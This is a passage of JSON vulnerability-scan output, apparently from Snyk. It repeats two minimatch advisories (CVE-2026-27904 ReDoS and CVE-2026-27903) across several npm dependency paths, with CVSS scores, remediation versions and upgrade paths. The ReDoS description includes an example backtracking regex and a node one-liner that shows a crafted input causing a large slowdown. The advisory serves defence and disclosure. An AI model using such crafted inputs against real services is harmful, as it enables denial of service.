"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub 